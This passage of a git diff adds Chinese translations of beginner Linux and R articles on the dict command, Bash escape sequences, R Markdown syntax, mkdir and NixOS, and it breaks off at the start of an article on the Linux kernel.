can hold {data} in + {machine-readable} format. + + (1996-05-25) + + +From Bouvier's Law Dictionary, Revised 6th Ed (1856) [bouvier]: + + MEMORY, TIME OF. According to the English common law, which has been altered + by 2 & 3 Wm. IV., c. 71, the time of memory commenced from the reign of +``` + +为了节省空间,我删去了这个结果的大部分内容,同时留下了足够的信息,以提供一个典型结果的概念。你也可以用双引号或单引号将多字短语括起来进行查询。 + +``` +$ dict "air gapped" +``` + +### 字典 + +`dict` 命令使用一些在线字典,包括法律和技术字典。许多语言的字典也是可用的。你可以“列出”可用的字典数据库,如下面所示: + +``` +$ dict -D | less +Databases available: + gcide The Collaborative International Dictionary of English v.0.48 + wn WordNet (r) 3.0 (2006) + moby-thesaurus Moby Thesaurus II by Grady Ward, 1.0 + elements The Elements (07Nov00) + vera V.E.R.A. -- Virtual Entity of Relevant Acronyms (February 2016) + jargon The Jargon File (version 4.4.7, 29 Dec 2003) + foldoc The Free On-line Dictionary of Computing (30 December 2018) + easton Easton's 1897 Bible Dictionary + hitchcock Hitchcock's Bible Names Dictionary (late 1800's) + bouvier Bouvier's Law Dictionary, Revised 6th Ed (1856) + devil The Devil's Dictionary (1881-1906) + world02 CIA World Factbook 2002 + gaz2k-counties U.S. Gazetteer Counties (2000) + gaz2k-places U.S. Gazetteer Places (2000) + gaz2k-zips U.S. Gazetteer Zip Code Tabulation Areas (2000) + fd-hrv-eng Croatian-English FreeDict Dictionary ver. 0.1.2 + fd-fin-por suomi-português FreeDict+WikDict dictionary ver. 2018.09.13 + fd-fin-bul suomi-български език FreeDict+WikDict dictionary ver. 2018.09.13 + fd-fra-bul français-български език FreeDict+WikDict dictionary ver. 2018.09.13 + fd-deu-swe Deutsch-Svenska FreeDict+WikDict dictionary ver. 2018.09.13 + +``` + +你可以用 `-d` 选项指定单个字典: + +``` +$ dict -d gcide +``` + +### 总结 + +有时使用词库中的词汇并不是最好的写作方法,因为它可能会混淆你的意思。但我确实发现 `dict` 命令在为特定的意思选择最好的词方面有极大的帮助。它还能确保我使用的单词拼写正确。 + +关于 dict 的信息很匮乏。 这个 URL [http://www.dict.org/][1] 只提供了一个基于网络的字典界面。手册页涵盖了语法。但是这个命令是一个有用的、有趣的命令,可以随身携带。我承认在发现 `dict` 命令后,我花了很多时间尝试不同的东西,看看结果会是什么。我就是那个通读百科全书和字典的孩子。是的,我是_那个_孩子。除了在写作或阅读时是一个有用的工具外,`dict` 也可以是一个有趣的工具来满足一下好奇心。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/linux-dict-command + +作者:[David Both][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: http://www.dict.org/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/08/152653jojqqmv7x7wxzox7.jpg \ No newline at end of file diff --git a/published/20230216.0 ⭐️ 5 escape sequences for your Linux shell.md b/published/20230216.0 ⭐️ 5 escape sequences for your Linux shell.md new file mode 100644 index 0000000000..f41a672353 --- /dev/null +++ b/published/20230216.0 ⭐️ 5 escape sequences for your Linux shell.md @@ -0,0 +1,126 @@ +[#]: subject: "5 escape sequences for your Linux shell" +[#]: via: "https://opensource.com/article/23/2/escape-sequences-linux-shell" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "zepoch" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15598-1.html" + +5 个有用的 Linux Shell 转义序列 +====== + +![][0] + +> 如何在你的 Bash 终端使用这些秘密代码,请下载我们新的 Linux 元字符速查表。 + +我最近在读一篇 Don watkins [关于 Shell 元字符的文章][1]。他的文章让我想到了你可以用 shell 输入做的所有的奇怪事情。虽然我可能还没有发现极端的情况,但是我经常发现 shell 转义序列,比如 `\b`、`\t` 和 `\f` 非常有用。 + +转义序列是一种特殊类型的终端输入。它们旨在让你能够输入物理键盘上没有的字符或触发事件。下面是我最喜欢的 Bash shell 的转义序列。 + +### 1、退格符 + +你可以在命令中输入若干退格符,以便在命令执行时触发。例如这个命令,你可能会认为它的输出是`ab`,但是看一下真正的输出: + +``` +$ echo a$'\b'b +b +``` + +从技术上来说,Shell 确实输出了 `ab`(你可以通过在命令后面附加 `| wc -m` 来确认这一点),但是全部输出的一部分是 `\b` 退格事件。退格键在输出 `b` 字符之前删除了 `a` 字符,因此输出只有 `b` 字符。 + +### 2、换行符 + +换行符是一个让你的 Shell 转到下一行的第 0 列的信号。这一点很重要,当使用像 [printf][2] 这样的命令时,它不会像 `echo` 那样在输出的末尾自动添加换行符。看看不带 `\n` 换行符的 `printf` 语句和带换行符的 `printf` 语句之间的区别: + +``` +$ printf "%03d.txt" 1 +001.txt$ +$ printf "%03d.txt\n" 1 +001.txt +$ +``` + +### 3、换页符 + +`\f` 换页信号就像换行符,但是却并不是返回到第 0 列。下面是一个使用换页符而不是换行符的 `printf` 命令: + +``` +$ printf "%s\f" hello +hello + $ +``` + +你的 Shell 提示符出现在下一行,但不是在下一行的行首。 + +### 4、制表符 + +有两种制表符转义序列:水平制表符 `\t` 和垂直制表符 `\v`。水平制表符如下所示: + +``` +$ echo a$'\t'b +a b +``` + +理论上,垂直制表符是相同的原理,但是在垂直空间中。然而,在大多数控制台上,一行的垂直间距是不可变的,所以它通常看起来很像一个换页符: + +``` +$ echo a$'\v'b +a + b +``` + +### 5、Unicode + +Unicode 标准中有很多可用的字符,而你的键盘只有大约 100 个键。在 Linux 上有几种方法可以输入 [特殊字符][3],但是将它们输入到终端的一种方法是使用 Unicode 转义序列。这个转义序列以 `\u` 开头,后跟一个十六进制值。你可以在文件 `/usr/share/X11/locale/en_US.UTF-8/Compose` 中找到许多 Unicode 值。你也可以在 [https://www.Unicode.org/charts/][4] 查看 Unicode 规范。 + +这对于输入像圆周率 π(圆的周长与直径之比)等常见符号非常有用: + +``` +$ echo $'\u03C0' +π +``` + +还有许多其他的符号和字符: + +``` +$ echo $'\u270B' +✋ +$ echo $'\u2658' +♘ +$ echo $'\u2B67' +⭧ +``` + +有盲文符号、音乐符号、字母、电气符号、数学符号、表情符号、游戏符号等等。事实上,有如此多的可用符号,有时你需要 `\U`(注意大写字母)Unicode 转义序列来访问高区的 Unicode。例如,这张红心 5 的扑克牌只出现在 `\U` 转义序列中: + +``` +$ echo $'\U1F0B5' +🂵 +``` + +浏览一下 Unicode 规范,找到适合你的位置,并使用 `\u` 和 `\U` 来访问你需要的所有特殊符号。 + +### 除此之外 + +Bash Shell 的手册页中列出了 18 个转义序列,我发现其中一些更有用。我已经在本文中介绍了我最爱的几个,Don Watkins 也谈到了他在文章中最常用的元字符,但是还有更多待发现。有很多方法可以对字母和数字、子 Shell、数学方程等进行编码。为了更好地了解 Shell 可用的元字符,可以下载我们的 [元字符速查表][5],你可以在使用计算机上最强大的应用程序 —— Linux 终端时将它放在手边。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/2/escape-sequences-linux-shell + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[zepoch](https://github.com/zepoch) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/22/2/metacharacters-linux +[2]: https://opensource.com/article/20/8/printf +[3]: https://opensource.com/article/22/7/linux-compose-key-cheat-sheet +[4]: https://www.unicode.org/charts/ +[5]: https://opensource.com/downloads/linux-metacharacters-cheat-sheet +[0]: https://img.linux.net.cn/data/attachment/album/202303/05/134703ne9559n9rmrer6ee.jpg \ No newline at end of file diff --git a/published/20230216.1 ⭐️⭐️ Beginner's Guide to R Markdown Syntax [With Cheat Sheet].md b/published/20230216.1 ⭐️⭐️ Beginner's Guide to R Markdown Syntax [With Cheat Sheet].md new file mode 100644 index 0000000000..3d78b3c4a9 --- /dev/null +++ b/published/20230216.1 ⭐️⭐️ Beginner's Guide to R Markdown Syntax [With Cheat Sheet].md @@ -0,0 +1,347 @@ +[#]: subject: "Beginner's Guide to R Markdown Syntax [With Cheat Sheet]" +[#]: via: "https://itsfoss.com/r-markdown/" +[#]: author: "Sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15627-1.html" + +R Markdown 语法新手指南 +====== + +![][0] + +你可能已经了解过轻量级标记语言 Markdown。如果你是第一次接触这个概念,请参考我们的 [Markdown 指南][1]。概括来讲,它是一种用于创建纯文本文档的简单又高效的语言。 + +然而,Markdown 在制作详细的报告或技术文件方面可能还不够完善。 + +受益于 [knitr][2] 和 Pandoc 等软件包,**交互式文件格式 R Markdown** 早在 2014 年就出现了。它将纯文本与内嵌的 R 代码相结合,可以制作动态文件。 + +你可以使用 [各种 IDE][4] 和扩展来创建 R Markdown 文档,官方 IDE 为 **RStudio**。因此,在这篇文章中,我们将重点介绍**使用 RStudio 学习 R Markdown 语法**。 + +> 💡(假如你没有了解过,)**R 编程语言** 是一种用于统计计算、图形表示和报告的语言。 + +### 配置 RStudio + +通过合适的配置,你可以很轻松地用 RStudio 来编写 R Markdown。只需要安装一个软件包,就已经完成了大部分的工作! + +安装 RStudio 后,在 “工具Tools” 菜单中选择 “安装软件包Install Packages” 选项。 + +![在 RStudio 的工具菜单下选择安装软件包选项][7] + +在弹出的对话框中,搜索 “rmarkdown” 并安装。 + +![通过搜索并在新的软件包安装对话框中按下安装按钮来安装 Rmarkdown 软件包][8] + +>💡 如果你想使用类似 Python 的代码块,你需要安装额外的包。当你想在你的文档中包含这些包时,RStudio 会提示你安装所需的包。 + +安装完成后,你可以通过选择 “文件File > 新建文件New File > R Markdown” 来新建一个 R Markdown 文档。 + +![从文件菜单中创建一个新的 RMarkdown 文档][9] + +之后会提示你添加一些关于文件的信息(文件的元数据),把这些填上就可以了。 + +![用 R Markdown 语法写出标题和其他细节][10] + +或者你可以创建一个空的文件从零开始。 + +### RMarkdown 语法 + +由于它是 “加强版的 Markdown”,因此大多数语法与 Markdown 是一样的。 + +它还有一些 Markdown 支持不完善的东西,比如**表格、数学方程式、代码块等等**。 + +下面是我们要介绍的内容的概括: + +| RMarkdown 块名 | 语法 | +| - | - | +| 标题 | `# 一级标题`
`## 二级标题`
`### 三级标题`
`一级标题`
`=======`
`二级标题`
`-------` | +| 着重 | `*斜体*`
`_斜体_`
`**加粗**`
`__加粗__` | +| 列表 | 无序列表:
`* 列表项`
`* 列表项`
` + 子项`
` + 子项`
有序列表:
`1. 列表项`
`2. 列表项`
` + 子项`
` + 子项` | +| 代码块 | 普通代码块:
\`\`\`
`这里写代码`
\`\`\`
R 代码块:
\`\`\`{r}
`R 代码`
\`\`\`
你也可以用其他的语言
行内 \`代码\` | +| 链接 | 普通链接:粘贴 URL
带标题的链接:`[显示的文本](URL_地址)`
跳转到锚点: `[显示的文本](#锚点)` | +| 表格 | `| 列名 | 列名 | 列名 |`
`| ------ | ------ | ------ |`
`| 项内容 | 项内容 | 项内容 |`
`| 项内容 | 项内容 | 项内容 |` | +| 方程式 | 行内方程式 `$Equations$`
展示方程式: `$$Equations$$` | +| 图片 | 无标题: `![](图片链接)`
有标题:`![可选标题](图片地址)` | +| 引用块 | `> 输入你引用的内容` | +| 其他 | 上角标:`文本内容^上角标^`
章或页水平分割线
`=========` 或 `----------`
行尾输入两个以上空格,即可添加人工行分割 | + +#### YAML 头 + +在一个 R Markdown 文档的顶部,有一个 YAML 头,被两行 `---` 包围。这个块定义了文档的最终样式,通常包含一个标题、作者、日期和你想输出的文件类型。 + +支持的文件格式有三种:**HTML、PDF 和 Word**。 + +``` +--- +title: "Sample" +author: "It's FOSS" +date: "2023-02-08" +output: pdf_document +--- +``` + +这可以在 RStudio 中设置新文件时添加,如上节所示。 + +#### 标题 + +在 R Markdown 中,有两种方法指定标题。我们可以使用 `#` 字符来表示不同级别的标题,比如: + +``` +# Heading Level 1 +## Heading Level 2 +### Heading Level 3 +#### Heading Level 4 +##### Heading Level 5 +###### Heading Level 6 +``` + +也可以用 `=` 和 `-` 分别表示一级和二级标题。 + +``` +一级标题 +=============== + +二级标题 +--------------- +``` + +![rmarkdown 文件中不同等级的标题][11] + +#### 列表 + +有两种列表,一种是**无序列表**,用点句符来表示: + +``` +* Item 1 +* Item 2 + + Sub 1 + + Sub 2 +* Item 3 +``` + +另一种是**有序列表**,用数字来排序: + +``` +1. Item 1 +2. Item 2 + + Sub 1 + + Sub 2 +3. Item 3 +``` + +![有序和无序列表示例][12] + +#### 段落中的文本格式 + +格式化文本有几种方式。 + +![][15] + +你可以使用斜体或加粗来着重表示文本: + +- 斜体:在文本前后各输入一个星号或下划线 +- 加粗:在文本前后各输入两个星号或下划线 + +``` +*这里是斜体内容* +_这里是斜体内容_ + +**这里是加粗内容** +__这里是加粗内容__ +``` + +> 📋 你可以阅读我们的文章 [Markdown 中怎么让内容变成加粗和斜体][16] 来了解更多内容。 + +如果你想使用上角标,在想变成上角标的内容前后加上 `^` 符号。 + +``` +普通文本内容^上角标^ +``` + +如果你想对文本内容加删除线,在文本前后加 `~~` 符号。 + +``` +~~被删除的内容~~ +``` + +![][17] + +#### 添加代码块 + +内嵌代码是 R Markdown 最主要的设计目的。我们有几种添加代码的方式。 + +##### 添加普通代码块 + +如果你想添加一个代码块来与其他的文本进行区分,可以使用下面的语法: + +```` +``` +这里输入你的代码 +``` +```` + + +你也可以尝试 [对添加的代码进行高亮显示][18]。 + +如果你想添加代码并将其输出嵌入到文档中,你可以在后面加上语言,并用大括号包裹: + +```` +```{语言} +这里输入你的代码 +``` +```` + +你可以用 ` 符号来添加行内代码。 + +``` +这里是 `行内代码` +``` + +它看起来是这样的: + +![][19] + +#### 链接 + +如果想添加普通文本链接,把它粘贴到行内就可以了。 + +``` +https://itsfoss.com +``` + +添加超链接,使用下面的语法: + +``` +[文本内容](URL 地址) +``` + +当你想链接到本页内的某个锚点时,使用下面的语法: + +``` +[文本内容](#锚点名称) +``` + +![][20] + +#### 表格 + +表格的语法与 Markdown 相似: + +``` +| 列表 | 列表 | 列表 | +| --- | --- | --- | +|表格项|表格项|表格项| +|表格项|表格项|表格项| +``` + +![][21] + +> 📋 还想了解更多?请阅读我们的 [用 Markdown 创建表格][22] 指南。 + +#### 图片 + +添加图片使用下面的语法: + +``` +![](http://example.com/logo.png) +``` + +或 + +``` +![可选显示文本](figures/img.png) +``` + +![][23] + +#### 块引用 + +RMarkdown 可以添加块引用。在被引用的行或段落前添加 `>`(大于号)。 + +``` +这里是普通文本内容。 + +> 这里是块引用 +``` + +![][24] + +> 📋 如果你想了解更多块引用的内容,请阅读我们的 [Markdown 引用][25] 指南。 + +#### 方程式 + +你可以用 RMarkdown 来添加方程式和展示复杂的 LaTex 方程式。 + +例如: + +``` +行内方程式:$Equation$ + +展示方程式:$$Equation$$ +``` + +![在 R Markdown 文档中添加方程式][26] + +#### 章或页水平分割线 + +使用三个以上星号或减号来添加章或页水平分割线。 + +``` +************ + +------------ +``` + +你可以在行尾添加两个以上的空格来添加人工行分割。 + +### R Markdown 非常有用(备忘录) + +![][27] + +> **[R Markdown 备忘录.pdf 下载文档][28]** + +_💬 你还知道其他关于 R Markdown 的内容吗?请在下面的评论区告诉我们。_ + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/r-markdown/ + +作者:[Sreenath][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/markdown-guide/ +[2]: https://www.r-project.org/nosvn/pandoc/knitr.html +[4]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[5]: https://itsfoss.com/content/images/size/w256h256/2022/12/android-chrome-192x192.png +[6]: https://itsfoss.com/content/images/wordpress/2019/06/install-r-on-ubuntu.jpg +[7]: https://itsfoss.com/content/images/2023/02/select-install-packages.png +[8]: https://itsfoss.com/content/images/2023/02/install-rmarkdown-1.png +[9]: https://itsfoss.com/content/images/2023/02/new-r-markdown.png +[10]: https://itsfoss.com/content/images/2023/02/new-document-in-rmark.png +[11]: https://itsfoss.com/content/images/2023/02/Headings.png +[12]: https://itsfoss.com/content/images/2023/02/List.png +[13]: https://itsfoss.com/content/images/size/w256h256/2022/12/android-chrome-192x192.png +[14]: https://itsfoss.com/content/images/wordpress/2022/01/glow-cli-markdown.png +[15]: https://itsfoss.com/content/images/2023/02/emphasis.png +[16]: https://itsfoss.com/markdown-bold-italic/ +[17]: https://itsfoss.com/content/images/2023/02/superescript.png +[18]: https://itsfoss.com/markdown-code-block/ +[19]: https://itsfoss.com/content/images/2023/02/code-chunk.png +[20]: https://itsfoss.com/content/images/2023/02/links.png +[21]: https://itsfoss.com/content/images/2023/02/table.png +[22]: https://itsfoss.com/markdown-table/ +[23]: https://itsfoss.com/content/images/2023/02/images.png +[24]: https://itsfoss.com/content/images/2023/02/block-quotes.png +[25]: https://itsfoss.com/markdown-quotes/ +[26]: https://itsfoss.com/content/images/2023/02/equations.png +[27]: https://itsfoss.com/content/images/2023/02/R-Markdown-Cheat-Sheet.webp +[28]: https://itsfoss.com/content/files/2023/02/R-Markdown-Cheat-Sheet.pdf +[0]: https://img.linux.net.cn/data/attachment/album/202303/15/090943m64sk4k496l4f99q.jpg \ No newline at end of file diff --git a/published/20230221.0 ⭐️ Making Directories in Linux Terminal.md b/published/20230221.0 ⭐️ Making Directories in Linux Terminal.md new file mode 100644 index 0000000000..150dd5ca2c --- /dev/null +++ b/published/20230221.0 ⭐️ Making Directories in Linux Terminal.md @@ -0,0 +1,139 @@ +[#]: subject: "Making Directories in Linux Terminal" +[#]: via: "https://itsfoss.com/make-directories/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15595-1.html" + +终端基础:在 Linux 终端中创建目录 +====== + +![][0] + +在终端基础系列的 [上一章][1] 中,你学到了在 Linux 命令行中改变文件夹的知识。 + +我在最后给出了一个练习,简单地提到了创建目录。 + +在本系列的这一部分,我将讨论如何使用 `mkdir` 命令在 Linux 命令行中建立新的文件夹。 + +``` +mkdir dir_name +``` + +`mkdir` 是 “创建目录make directories” 的简称。让我们来看看这个命令的使用情况。 + +> 📋 如果你不知道,文件夹在 Linux 中被称为目录。 + +### 在 Linux 中创建一个新目录 + +你现在应该已经熟悉了 [Linux 中绝对路径和相对路径的概念][2]。如果没有,请参考 [本教程](https://linuxhandbook.com/absolute-vs-relative-path/)。 + +如果你的系统还没有打开终端,请打开它。通常情况下,你从主目录(`/home/username`)开始。但为了本教程和回忆一些事情,我假定你不在你的主目录中。 + +所以,先换到你的主目录: + +``` +cd +``` + +是的,如果你简单地输入 `cd`,没有任何选项和参数,它就会把你带到你的主目录。你也可以使用 `cd ~` 等方法。 + +在这里,建立一个新的目录,叫做 `practice`。 + +``` +mkdir practice +``` + +你能切换到这个新建立的 `practice` 目录吗? + +``` +cd practice +``` + +很好!现在你有了一个专门的文件夹,你将在这里练习本系列中的 Linux 命令行教程。 + +![Example of making new directory in Linux][5] + +### 创建多个新目录 + +你刚刚创建了一个新的目录。如果你要创建不止一个呢?比方说,有三个。 + +你可以对每个目录连续使用三次 `mkdir` 命令。这将会起作用。然而,这并不是真的需要。你可以像这样同时创建多个目录来节省时间和精力: + +``` +mkdir dir1 dir2 dir3 +``` + +请继续这样做吧。你可以列出 `practice` 目录的内容,查看所有新创建的目录。以后会有更多关于 `ls` 命令的内容。 + +![Create multiple new directories in Linux with mkdir command][6] + +> 💡 你不能在同一地方有两个同名的文件夹或文件。 + +### 创建多个嵌套的子目录 + +你现在知道了一次创建多个目录的方法。 + +但是,如果你要创建一个嵌套的目录结构呢?比方说,你需要在 `dir1` 里面的 `subdir1` 里面创建一个目录 `subdir2`。 + +``` +dir1/subdir1/subdir2 +``` + +这里的问题是 `subdir1` 并不存在。所以如果你尝试 `mkdir dir1/subdir1/subdir32`,你会得到一个错误: + +``` +abhishek@itsfoss:~/practice$ mkdir dir1/subdir1/subdir2 +mkdir: cannot create directory ‘dir1/subdir1/subdir2’: No such file or directory +``` + +如果你不知道的话,你会选择 `mkdir dir1/subdir1`,然后运行 `mkdir dir1/subdir2`。这将会起作用。然而,有一个更好的方法。 + +你使用 `-p` 选项,它会在需要时创建父目录。如果你运行下面的命令: + +``` +mkdir -p dir1/subdir1/subdir2 +``` + +它将创建 `subdir1`,然后在 `subdir1` 里面创建 `subdir2`。 + +> 💡 不是命名惯例,但最好在文件和目录名中避免空格。使用下划线或破折号代替,因为处理文件/目录名中的空格需要额外精力。 + +### 测试你的知识 + +这是一个相当简短的教程,因为 `mkdir` 命令只有几个选项。 + +现在,让我给你一些实践练习,以利用你先前创建的 `practice` 目录。 + +- 不进入 `dir2` 目录,在其中创建两个新的子目录。 +- 不进入 `dir3` 目录,创建两级嵌套子目录(`subdir1/subdir2`) +- 进入 dir2 目录。在这里,在你的主目录下创建一个名为 `temp_stuff` 的目录。不要担心,我们将在本系列教程的后面删除它。 +- 回到父目录 `practice`,尝试创建一个名为 `dir3` 的目录。你看到一个错误。你能用 `-p` 选项使它消失吗? + +你可以 [在社区论坛讨论这个练习][7]。 + +在终端基础系列的下一章中,你将学习如何用 `ls` 命令列出一个目录的内容。 + +如果你有问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/make-directories/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/change-directories/ +[2]: https://linuxhandbook.com/absolute-vs-relative-path/ +[5]: https://itsfoss.com/content/images/2023/02/make-directory-example.svg +[6]: https://itsfoss.com/content/images/2023/02/create-multiple-directories-linux.png +[7]: https://itsfoss.community/t/exercise-in-making-directories-in-linux-terminal/10227 +[0]: https://img.linux.net.cn/data/attachment/album/202303/04/091337bqrrn0nqq0njzbxg.jpg \ No newline at end of file diff --git a/published/20230222.0 ⭐️⭐️ NixOS Series 1 Why Should You Consider Using NixOS.md b/published/20230222.0 ⭐️⭐️ NixOS Series 1 Why Should You Consider Using NixOS.md new file mode 100644 index 0000000000..e0e0db9ea5 --- /dev/null +++ b/published/20230222.0 ⭐️⭐️ NixOS Series 1 Why Should You Consider Using NixOS.md @@ -0,0 +1,148 @@ +[#]: subject: "NixOS Series #1: Why Should You Consider Using NixOS?" +[#]: via: "https://itsfoss.com/why-use-nixos/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15606-1.html" + +NixOS 系列 #1:你为什么要考虑使用 NixOS? +====== + +![][0] + +NixOS……又一个使用不同软件包管理器的发行版?🤯 + +好吧,NixOS 是 [高级 Linux 发行版][1] 之一。 + +所以如果我写这个,我一定有一个充分的理由,对吗?嗯,有很多! + +我已经使用它 3 个月了,它是如此之好,以至于我正在考虑从我一直以来最喜欢的 **Pop!_OS 切换到 NixOS**。 + +在本指南中,我将分享 NixOS 在众多 Linux 发行版中脱颖而出的主要特点。 + +别担心,在我们继续之前,让我告诉你什么是 NixOS: + +> 它是一个以 Nix 包管理器为核心的 Linux 发行版,为你省去了在其它的 Linux 发行版上设置 Nix 的麻烦,可以让你充分利用它的优势。由开发 Nix 的同一个团队构建。 + +### 使用 NixOS 的 6 个理由 + +NixOS 是一个有趣的从零开始构建的 [独立 Linux 发行版][2]。 + +每个人都可以通过使用 NixOS 学到很多东西,但**在我看来**,如果你是一个开发人员或计算机科学的学生,NixOS 应该非常合适。 + +![nix os screenshot with gnome][3] + +让我告诉你为什么。 + +#### 1、不易损坏/易于恢复 + +就其核心而言,NixOS 是为长期使用而构建的。 + +这并不意味着它像 Debian 那样用多年前的软件包来保证稳定性,而是遵循一种不同的方法。 + +为了理解 NixOS 为何如此稳定,让我们谈谈用户一般是如何破坏他们的系统的,即“_依赖性问题或软件包冲突_” + +在更新系统或安装一个新的软件包时,你一般会面临系统崩溃的风险。主要是因为你的软件包管理器无法满足依赖性,或者安装的软件包与现有系统冲突导致的。 + +**而 NixOS 有一个非常聪明的方法来处理这个问题。** + +你看,每当你升级你的系统或安装一个软件包时,**系统的状态就会被重建**,被称为超过当前的“新世代new generation”。 + +![nix os listing generations via terminal][4] + +因此,如果你在使用新的软件包或更新时遇到任何麻烦,你可以随时回滚到“旧世代old generation”,在那里你会找到**系统以前的状态**。 + +即使系统无法访问,你也能在启动时找到以前几代。 + +#### 2、可重复性 + +通过一个配置文件,你可以为其他物理系统创建一个你当前环境的副本。 + +这个功能给你带来的好处是,你可以使用 Nix 配置文件进行安装和配置。 + +当你有了适合你的用途的配置文件,将该文件发送到新的系统中,用你的配置文件替换默认的配置文件。就是这么简单! + +**重建配置,升级系统,并通过给定的命令进行切换:** + +``` +sudo nixos-rebuild switch --upgrade +``` + +你将在几分钟内拥有与你的主机上完全相同的开发环境,并进行复制。 + +#### 3、轻松回滚 + +虽然你可能已经从 NixOS 的 “世代generation” 特性中得到了灵感。 + +但还有更多的内容。🕵️ + +NixOS 在很大程度上依赖于符号链接。如果这对你来说是一个新概念,请参考下面的指南: + +> **[如何在 Linux 中创建符号链接(完整指南)][5]** + +一般来说,在其他 Linux 发行版中,当你升级一个软件包时,新的软件包会取代旧的。 + +但 NixOS 不是这样的。 + +在 NixOS 中,软件包被隔离并存储在一个单独的目录中,这就是使用符号链接的原因。 + +每当你升级一个软件包时,**NixOS 会调整符号链接来定位新的软件包,但不会删除旧的**。 + +因此,如果你面临与新包的冲突,只需切换到旧世代,符号链接有助于定位旧版本的包。😌 + +#### 4、Nix 包管理器 + +Nix 包管理器允许你访问超过 80,000 个软件包!不仅仅局限于 Linux,它还可以在 **macOS、WSL2、Docker 等平台**上使用。 + +而且,软件包的可用性与 AUR 相似,甚至比 AUR 更好,因为你应该在 Nix 包管理器上找到几乎所有的东西(我是认真的)。 + +例如,我想安装 Librewolf 浏览器,这在大多数 Linux 发行版的默认仓库中是不可用的。 + +但是,Nix 有它!这意味着你可以依靠 Nix 包管理器来安装几乎所有的软件包。 + +如果你有先前的 Linux 经验,它也相对容易理解。总而言之,**Nix 包管理器令人印象深刻**! + +#### 5、使用同一软件包的多个版本 + +这对开发者来说可能是至关重要的,有些应用需要特定依赖的旧版本,而有些则需要最新的版本。 + +而且,正如我前面提到的,Nix 将包安装到一个特定的子目录中,每个包都是隔离的,所以一个包不会干扰另一个包! + +在使用 Nix 之前,我使用虚拟机和容器来满足同一软件包的不同依赖性,尤其是 PHP,但 NixOS 为我的工作流程带来了奇迹。 + +#### 6、无需安装就能测试软件包的能力 + +你可以使用 [nix-shell][9],它通过临时修改 `$PATH` 环境变量来测试一个包。 + +而且没有任何限制。你能够测试每一个可供安装的软件包! + +### NixOS 系列:让我们探索更多! + +这是我们 Nix 系列的第一部分,我介绍了使用 NixOS 的原因。我相信更多的 Linux 用户应该去了解它,如果他们还没有了解的话。 + +在下一部分,我将解释如何在你的虚拟机中安装 NixOS。 + +💬 欢迎在下面的评论中分享关于 NixOS 的其他内容的建议。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/why-use-nixos/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/advanced-linux-distros/ +[2]: https://itsfoss.com/independent-linux-distros/ +[3]: https://itsfoss.com/content/images/2023/02/nix-os-gnome.png +[4]: https://itsfoss.com/content/images/2023/02/nix-os-generations.png +[5]: https://linuxhandbook.com/symbolic-link-linux/ +[9]: https://nixos.org/manual/nix/stable/command-ref/nix-shell.html +[0]: https://img.linux.net.cn/data/attachment/album/202303/08/150044jhtdyahoax5ghbxn.jpg \ No newline at end of file diff --git a/published/20230223.1 ⭐️ Linux is Just a Kernel What Does it Mean.md b/published/20230223.1 ⭐️ Linux is Just a Kernel What Does it Mean.md new file mode 100644 index 0000000000..2f0707dd96 --- /dev/null +++ b/published/20230223.1 ⭐️ Linux is Just a Kernel What Does it Mean.md @@ -0,0 +1,91 @@ +[#]: subject: "Linux is Just a Kernel: What Does it Mean?" +[#]: via: "https://itsfoss.com/linux-kernel-os/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15594-1.html" + +Linux 只是一个内核:这是什么意思? +====== + +![][0] + +> 这是一个困扰 Linux 用户的常见问题。这也是考试和面试中经常问到的一个问题。下面是你需要了解的所有内容。 + +你可能在网络上的各种论坛以及讨论区听过这句话: + 